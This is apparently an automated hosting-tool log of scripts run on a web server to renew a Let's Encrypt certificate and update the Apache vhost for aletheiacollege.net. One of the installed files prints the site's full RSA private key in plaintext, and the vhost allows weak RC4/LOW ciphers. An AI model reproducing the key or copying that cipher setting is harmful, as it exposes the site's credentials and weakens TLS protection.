0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-25 06:00:22: Establishing a connection
2025-12-25 06:00:22: Establishing a connection
2025-12-25 06:00:22: 

PUT: /tmp/pkp611225

#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-25 06:00:22: 

chmod 755 /tmp/pkp611225; /tmp/pkp611225; rm /tmp/pkp611225

2025-12-25 06:00:22: 


1


2025-12-25 06:00:23: Establishing a connection
2025-12-25 06:00:23: 

PUT: /tmp/pkp174171

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > 3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA
cat > I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg


2025-12-25 06:00:23: 

chmod 755 /tmp/pkp174171; /tmp/pkp174171; rm /tmp/pkp174171

2025-12-25 06:00:23: 




2025-12-25 06:00:32: Establishing a connection
2025-12-25 06:00:32: 

PUT: /tmp/pkp927181

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm 3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA
rm I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg


2025-12-25 06:00:32: 

chmod 755 /tmp/pkp927181; /tmp/pkp927181; rm /tmp/pkp927181

2025-12-25 06:00:32: 




2025-12-25 06:00:32: Establishing a connection
2025-12-25 06:00:32: 

PUT: /tmp/pkp163400

#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt

cat > $temp_file <<'endmsg'
29:f6:96:72:9a:be:a2:48:bf:97:9c:af:7c:1f:f2:4b

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBjt16nPEFjDLrvAMGYc3IpYsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI1MDUwMjAxWhcNMjYwMzI1MDUwMjAwWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqTGvyXcvayfwSZDoskhrW6NqbXP0pip4f3UWclK6k7QL65vkbOsj7ngG
YpT73MMFYfOr1s8rzAZSJ1Ev5zjBFkDq53vwqn45rhNNylfNFlC8zdvLDJaDf5nH
rAx9VydLz8eWtU/x60jqOS8HO5EnxFBgSiZGgWBMWIGlLiFJvdF4347sfTaTEeIY
tM3OFP9Stb7e4w9eWA5HyRE7h2Ai1J+SHE/1D5lGlq9UtKv0XnFkaQp6axBY6EvA
CaR7OLpSt+WhFVYzUpIhx2FiYL1tIxFzqRhQrBEry3V4hfp0grphun1Q1SadZJT3
9NKNqY8x8HY+Gvo7HLssTAtoTnQ80QIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSqHSAvJOVbdqnieK5oJD89tcxt6jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDUu
Y3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGbVBg2JgAABAMASDBGAiEA8FGnL75KBnGQPPY0sh6Q
2GdCRzrD3MvzKzrLFAzRPNkCIQC943ezVhn3OmSfOuBjD8Takl1RPg2HPJnH0RuC
GG0zLAB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm1QYNhUA
AAQDAEcwRQIgOyxLYeiAYalT0co4Lmkh2euoBanbNm8kGLNO+w5y9BwCIQDG+ERA
AIegQasW1BnYSvF7iUmc/pRP0q2CNuzuSp8yxTANBgkqhkiG9w0BAQsFAAOCAQEA
kQ+io4FdYTUUBFkNFXzXAfyQUbyijkIxT4kBKuRInqQTBkU1GO2Uw+4SrTu7xaiJ
e1i+eWhiWqNaMgSxX05kI4lOuq5vO+eIID0DT1cbopLGThDLsl80mW6JC8oBWLGO
hEOOBNPJfPGws56ioUPyTXVrdBHZXuqQ3dtOtrrY90SVdYxqAeqfD96CDjXvDOyB
3BCgE0hvSgFwld/AygqPt9rJvIbx2+0PnYoJAouI82n5abveAe6MPD8MvQwEM4C6
DInx+GvGE1IMzpb8ld3ry4v7RMTDypRsaDSt1wkIFiajr9uF/x7slrcMzkKgPW+v
Xfqkx4NYjxhEPlIfXJYCgA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpMa/Jdy9rJ/BJ
kOiySGtbo2ptc/SmKnh/dRZyUrqTtAvrm+Rs6yPueAZilPvcwwVh86vWzyvMBlIn
US/nOMEWQOrne/CqfjmuE03KV80WULzN28sMloN/mcesDH1XJ0vPx5a1T/HrSOo5
Lwc7kSfEUGBKJkaBYExYgaUuIUm90Xjfjux9NpMR4hi0zc4U/1K1vt7jD15YDkfJ
ETuHYCLUn5IcT/UPmUaWr1S0q/RecWRpCnprEFjoS8AJpHs4ulK35aEVVjNSkiHH
YWJgvW0jEXOpGFCsESvLdXiF+nSCumG6fVDVJp1klPf00o2pjzHwdj4a+jscuyxM
C2hOdDzRAgMBAAECggEBAKShNTPqZdh1dyiN+O4o61Wyj8dKsf3Ri4gxzRKWjvdT
lNm/yad1sXPDlCruXpfzp1QlPsp4sVwHtn6NT/hD0BWwOyHdBlNPGR7Zp7LAdk1F
aEFCobNw7SkG4DP3vypDkU/vHCT2UiYnv8i+iuIaHsC1mMvtrGMM6ZyhIbHeMBui
l1dDuBuRO20Z1853pN73slyQwtHEPmrkt3iskZ1IxtAf0qEgD0CEgyNtDClt/CsA
7DSEXwrDpj8ZhXrj81kf1gPWht2vOWh8imsH1i6tovm6M+Yft29r67A5FjYjhTWm
qo+1ouCYNAnySUzT3ra6eLKat7yXCklUrCqVIPRs9kECgYEA0sQ8mF1+NovuJ9u4
Ed99oveH+MerkZyMGs8rksqxnd7gAE9eaBtnVBn6S1KOgHK7UMSpxskvQE2E4IoQ
B6+W79UhqHKRQV10CLEeqCikzNWN3mebxrgnFeHMI22QVXubcoySgmQiEp0lFtzS
ZY3x6F6PyGb98S6sIQfM178DOSkCgYEAzYFo6qmABq8g4R86cDVPxeTYa5lElyFk
RjjChOZ4koBQXHK9PYNJ3OfOE6Fd5BkBoOsTGW9sIkfQeCfcjwGtMvpqrZmi0Ebu
3i8fEeKvRGz7nR92Eb0Dy0Ass2kv6OI6aaHAIUmehPMMlHLbGcs3KTufh8h460t7
8GaNEN1902kCgYBbQPmXYotd5JH1ke0NV/1WjOPDM/g1sFj81ovgH4BtgOztVW/j
lVHUmPbEm/b06DfvzWZQmhSqO6X3be9o1H5+UoIjI49+hI7ToJRMbGSGB0RIcgWB
MYRCtiOjhzGBwWXZX8GjUOVrt7wyPOOfcqi1WhPYybbTMMj3+B+ZnaswmQKBgGjq
Mlfq5POEoPKNcNYsQWe0Z1C3VK8bWwgGnjgfOVsBqwUnhrlKt4DRzwFylm6G3a/7
kyqfGcN+ik1tfEp9/qBR+/hYwSg3rmc8A06sPfJe+S3EDBEOQEuZnbiScOUh6dRX
wbC81vLk6n03DehjOOwSBmXZ0PG+/a1Dja0Yhs5RAoGAdUNStInzeIwUu7FMplFO
PtVB8qh/cML8F/0VDa3/YqeZCJZLdqErdCAZDKyd3NeD+VwsTLlJMskBIm/FMKmR
vlCN4TbEVDL5OZjv3LNwFT2EVXgXXDmG0kHGsF0KUBFAiUyaVyvm+EuWytsb6Wvi
IoxDRhWC+yfOA583CIKXypk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-25 06:00:32: 

chmod 755 /tmp/pkp163400; /tmp/pkp163400; rm /tmp/pkp163400

2025-12-25 06:00:32: 


dir=/etc/ssl/certs


2025-12-25 06:00:32: 

PUT: /tmp/pkp124988

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-25 06:00:32: 

chmod 755 /tmp/pkp124988; /tmp/pkp124988; rm /tmp/pkp124988

2025-12-25 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-25 06:00:32: 

PUT: /tmp/pkp171053

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi


2025-12-25 06:00:32: 

chmod 755 /tmp/pkp171053; /tmp/pkp171053; rm /tmp/pkp171053

2025-12-25 06:00:33: 




2025-12-25 06:00:33: 

PUT: /tmp/pkp371354

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-25 06:00:33: 

chmod 755 /tmp/pkp371354; /tmp/pkp371354; rm /tmp/pkp371354

2025-12-25 06:00:33: 


.


2025-12-25 06:00:33: Establishing a connection
2025-12-25 06:00:33: 

PUT: /tmp/pkp207821

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-25 06:00:33: 

chmod 755 /tmp/pkp207821; /tmp/pkp207821; rm /tmp/pkp207821

2025-12-25 06:00:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-25 06:00:33: 

PUT: /tmp/pkp990164

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-25 06:00:33: 

chmod 755 /tmp/pkp990164; /tmp/pkp990164; rm /tmp/pkp990164

2025-12-25 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf	1448

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-25 06:00:33: 

PUT: /tmp/pkp694306

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-25 06:00:33: 

chmod 755 /tmp/pkp694306; /tmp/pkp694306; rm /tmp/pkp694306

2025-12-25 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt	5394
29:f6:96:72:9a:be:a2:48:bf:97:9c:af:7c:1f:f2:4b

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBjt16nPEFjDLrvAMGYc3IpYsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI1MDUwMjAxWhcNMjYwMzI1MDUwMjAwWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqTGvyXcvayfwSZDoskhrW6NqbXP0pip4f3UWclK6k7QL65vkbOsj7ngG
YpT73MMFYfOr1s8rzAZSJ1Ev5zjBFkDq53vwqn45rhNNylfNFlC8zdvLDJaDf5nH
rAx9VydLz8eWtU/x60jqOS8HO5EnxFBgSiZGgWBMWIGlLiFJvdF4347sfTaTEeIY
tM3OFP9Stb7e4w9eWA5HyRE7h2Ai1J+SHE/1D5lGlq9UtKv0XnFkaQp6axBY6EvA
CaR7OLpSt+WhFVYzUpIhx2FiYL1tIxFzqRhQrBEry3V4hfp0grphun1Q1SadZJT3
9NKNqY8x8HY+Gvo7HLssTAtoTnQ80QIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSqHSAvJOVbdqnieK5oJD89tcxt6jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDUu
Y3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGbVBg2JgAABAMASDBGAiEA8FGnL75KBnGQPPY0sh6Q
2GdCRzrD3MvzKzrLFAzRPNkCIQC943ezVhn3OmSfOuBjD8Takl1RPg2HPJnH0RuC
GG0zLAB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm1QYNhUA
AAQDAEcwRQIgOyxLYeiAYalT0co4Lmkh2euoBanbNm8kGLNO+w5y9BwCIQDG+ERA
AIegQasW1BnYSvF7iUmc/pRP0q2CNuzuSp8yxTANBgkqhkiG9w0BAQsFAAOCAQEA
kQ+io4FdYTUUBFkNFXzXAfyQUbyijkIxT4kBKuRInqQTBkU1GO2Uw+4SrTu7xaiJ
e1i+eWhiWqNaMgSxX05kI4lOuq5vO+eIID0DT1cbopLGThDLsl80mW6JC8oBWLGO
